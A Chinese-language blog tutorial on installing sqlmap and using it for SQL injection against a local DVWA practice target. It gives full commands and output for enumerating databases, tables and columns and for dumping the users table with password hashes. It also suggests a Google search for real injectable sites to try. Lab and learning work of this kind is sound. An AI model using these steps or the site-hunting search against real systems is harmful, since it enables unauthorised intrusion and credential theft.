SqlMap 初尝试

简介: SqlMap 初尝试 什么是SqlMap Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

SqlMap 初尝试

什么是SqlMap

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

支持自动识别密码哈希格式并通过字典破解密码哈希。

支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

支持在数据库管理系统中搜索指定的数据库名、表名或列名

简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。

如何安装SqlMap

因为SqlMap是基于python,所以需要先安装本地的python环境

Python2.7.11下载:

下载地址:https://www.python.org/downloads/
  • 安装步骤可以查看其它的python的安装教程,蛮简单。
  • 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python

图片名称

通过 http://www.sqlmap.org/ 下载SqlMap的zip包
  • 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。

图片名称

  • 输入 cmd

图片名称

  • 输入自定义名称

图片名称

  • 将sqlmap的文件夹拷贝到python下

修改起始位置如下,修改为python下的sqlmap的地址
图片名称

  • 直接启动,如下
    image

SqlMap的实验

通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试
我尝试的是通过DVWA的SQL 盲注入。

如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机

通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击

ps:--batch 是指之后所有的选择参数都是默认的选项。

image

根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档

image

测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。
根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布

[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

image

通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表

+-----------+
| guestbook |
| users     |
+-----------+

image

-T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成

[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

image

通过 --dump显示出所有的内容

image

如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选

image

但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。

image

以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。

相关文章
|
Ubuntu
Ubuntu系统安装gtest
Ubuntu系统安装gtest
635 0
|
Android开发
mPaaS打release签名包的过程
mPaaS打release签名包的过程
145 1
|
4月前
|
运维 数据可视化 数据挖掘
生产现场巡检怎么做才有效?一线点检、异常上报、统计报表的最佳实践
本文介绍了如何通过草料二维码构建轻量、易用且闭环的巡检机制。针对巡检员、维保人员和管理员三类角色,分别阐述了扫码点检、异常即时上报与自动提醒、任务监督与数据分析的具体实现方式,助力企业提升巡检效率与执行效果,实现设备管理的透明化与智能化。
|
算法 索引 容器
双指针算法详解
本文介绍了双指针算法及其应用。双指针算法是在数组或字符串中常用的高效技术,通过维护两个指针遍历数据结构以解决特定问题。根据指针移动方向,可分为同向双指针、相向双指针和快慢指针。同向双指针如移动零和复写零问题;快慢指针如快乐数问题;相向双指针如盛水最多的容器、有效三角形数量及多数之和等问题。通过合理运用双指针技巧,可简化代码并提高效率。
294 4
双指针算法详解
|
SQL 存储 数据库
SQL语句是否都需要解析及其相关技巧与方法
在数据库管理系统中,SQL(Structured Query Language)语句作为与数据库交互的桥梁,其执行过程往往涉及到一个或多个解析阶段
|
机器学习/深度学习 自然语言处理 安全
【网安AIGC专题10.11】论文1:生成式模型GPT\CodeX填充式模型CodeT5\INCODER+大模型自动程序修复(生成整个修复函数、修复代码填充、单行代码生产、生成的修复代码排序和过滤)
【网安AIGC专题10.11】论文1:生成式模型GPT\CodeX填充式模型CodeT5\INCODER+大模型自动程序修复(生成整个修复函数、修复代码填充、单行代码生产、生成的修复代码排序和过滤)
436 0
|
数据安全/隐私保护 Docker 容器
使用docker安装elastic search[ES]和kibana
使用docker安装elastic search[ES]和kibana
594 4
|
SQL 存储 关系型数据库
【MySQL新手入门系列一】:手把手教你入门MySQL
如果您是一位刚刚开始学习MySQL的新手,本文将为您提供一些实用的入门知识和技巧,帮助您快速上手。 本篇文章将以windows为例,介绍MySQL的基础知识,以及如何安装、卸载、配置和使用它。
4438 0
【MySQL新手入门系列一】:手把手教你入门MySQL
|
算法 Java Maven
关于OptaPlanner的使用(三)——运行代码案例
关于OptaPlanner的使用(三)——运行代码案例
558 0

热门文章

最新文章